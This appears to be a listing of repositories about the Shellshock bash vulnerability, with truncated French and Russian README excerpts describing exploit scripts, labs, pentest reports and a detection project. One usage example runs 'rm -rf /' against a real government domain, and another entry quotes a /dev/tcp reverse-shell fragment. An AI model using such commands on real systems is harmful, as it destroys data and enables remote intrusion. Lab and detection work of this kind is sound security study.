ShockZaum-CVE-2014-6271

CVE-2014-6271 Script pour attaquer la vulnérabilité Shellshock ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

bash-fix-exploit

bash-fix-exploit Un petit rôle qui vérifie si l'exploit CVE-2014-6271 est toujours valide Utilisez-le à vos propres risques... Lisez à propos de l'exploit ici : https://community.rapid7.com/community/infosec/blog/2014/09/25/bash-ing-into-your-network-investigating-cve-2014-6271 Prérequis Suppose...

CVE-2014-6721-exploit-Shellshock

CVE-2014-6721-exploit-Shellshock эксплойт уязвимости Shellshock...

Shellshock-CVE-2014-6271

Ce depot n’a pas de fichier README...

Mobile-Drop-Device-SOC-Detection

🛡️ Project Phantom: Симуляция обнаружения мобильного «подсадного устройства» в SOC Этот проект демонстрирует комплексную лабораторную работу SOC, моделирующую, как несанкционированное Android-устройство без root-прав Casper Via S, используемое в качестве «подсадного устройства» во внутренней сети,...

it355-lab4-enterprise-lan-security

IT355 Laboratoire 4 : Sécurité du réseau local d'entreprise & analyse de Shellshock 📌 Aperçu du projet Ce dépôt contient une évaluation complète de la sécurité d'un environnement LAN d'entreprise. Le principal objectif de ce projet était l'identification, l'exploitation et la remédiation de la...

CVE-2014-6271

CVE-2014-6271 Shellshock - Exploit Python Une implémentation Python propre, efficace et interactive conçue pour tester la vulnérabilité Shellshock CVE-2014-6271 via l'injection de variables d'environnement HTTP. 📝 Description Shellshock CVE-2014-6271 est une vulnérabilité de sécurité critique dan...

CVE-2014-6271

CVE-2014-6271 Une vulnérabilité connue sous le nom de « ShellShock » existe dans GNU Bash jusqu'à la version 4.3 en raison de la manière dont il traite les chaînes de caractères finales dans les valeurs des variables d'environnement après les définitions de fonctions. Cette vulnérabilité permet à...

pentesting-obioba

pentesting-obioba Pentesting boîte noire : Shellshock CVE-2014-6271 + Log4Shell CVE-2021-44228. Élévation de privilèges vers root. Rapport exécutif et technique Pentesting Obioba — Audit de Sécurité Boîte Noire Projet du Bootcamp 360° en Cybersécurité de The Bridge Digital Talent Accelerator...

CVE-2014-6271-EXPLOIT

CVE-2014-6271 - Shellshock 💣 Shellshock est une vulnérabilité critique dans l'interpréteur GNU Bash. Elle affecte les versions jusqu'à 4.3 et permet à des attaquants distants d'exécuter du code arbitraire. Cette exploitation se produit en raison de la manière dont Bash traite les chaînes de...

shellshock-shell

shellshock-shell Un simple exploit de type shell en Python pour le bug Shellschok CVE-2014-6271. Utilisez-le pour exploiter des URL vulnérables connues. Cet outil ne doit être utilisé que sur vos propres URL autorisées. L'auteur de cet outil décline toute responsabilité quant à son utilisation. N...

-CVE-2014-6271

/ || | | | | | | | / || | | |/ \ / | |/ / \ | || | | | | | | \ | || | | | | | | ' / | | || || | | | || | || . \ |/|| |||||/|| ||/ ||\ CVE-2014-6271 — Shellshock Exécution de code à distance via l'injection de variables d'environnement Bash "Une faille qui est restée cachée dans Bash pendant...

shellshock-poc-cve-2014-7169

CVE-2014-6271 - Shellshock PoC Краткое описание CVSS 10.0. Bash некорректно обрабатывает последующие команды после определения функции, хранящегося в переменной окружения, выполняя их во время инициализации оболочки. Первопричина Переменные окружения Bash могут кодировать определения функций: x='...

Shellshock_CVE-2014-6271

Shellshock CVE-2014-6271 Shellshock Скачайте файлы docker-compose.yml и poc.py Обязательно установите библиотеку requests с помощью pip install requests!!! Если вы используете uv, поместите библиотеку requests в venv через uv!!! Официальное описание CVE --- В GNU Bash до версии 4.3 существовала...

CVE-2014-6271

Hellshocker 0.1.1 Инструмент для эксплуатации уязвимости Shellshock Устали от использования слабых эксплойтов Shellshock или просто от "/bin/bash & /dev/tcp/IP/port 0&1" для доступа к серверу? Да, вам нужно загрузить и выполнить на сервере что-то более сложное, а кодирование огромного файла в...

shellshocker-pocs

Shellshocker — репозиторий с Proof of Concept кодом для «Shellshock» Коллекция Proof of Concepts и потенциальных целей для ShellShocker Ссылка на Wikipedia: https://en.wikipedia.org/wiki/Shellshock%28softwarebug%29CVE-2014-7186andCVE-2014-7187Details Пожалуйста, отправьте pull request, если у вас...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Script d'exploitation Shellshock 🎯💻🔍 Ce script Python exploite la vulnérabilité Shellshock CVE-2014-6271 pour exécuter des commandes à distance ou établir un reverse shell sur une cible vulnérable. 🛠️⚠️ ⚠ Avertissement 🚨❗ Ce script est destiné uniquement à des fins...

shellshock-cve-lab

Лаборатория Shellshock CVE-2014-6271 Этот репозиторий содержит небольшую CGI-лабораторию для CVE-2014-6271. Он компилирует GNU bash 4.2, обслуживает CGI-скрипт через Python-сервер в стиле RFC-3875 и сопоставляет заголовки запросов с переменными окружения CGI. Sentinel воспроизвёл этот сценарий...

CVE-2014-6271

🚨 CVE-2014-6271 — « Shellshock » Zero-Day vieux de 25 ans — Exécution de code à distance dans GNU Bash via les variables d'environnement 📖 Vue d'ensemble CVE-2014-6271 , surnommé Shellshock également connu sous le nom Bashdoor, est une vulnérabilité critique d'exécution de code à distance RCE dan...

shellshock-victim-host

shellshock-victim-host Un conteneur docker vulnérable à Shellshock - CVE-2014-6271 Exécution podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Note : Se construit aussi avec docker. L'application vulnérable sera déployée sur : http://localhost:8080/victim.cgi - Point...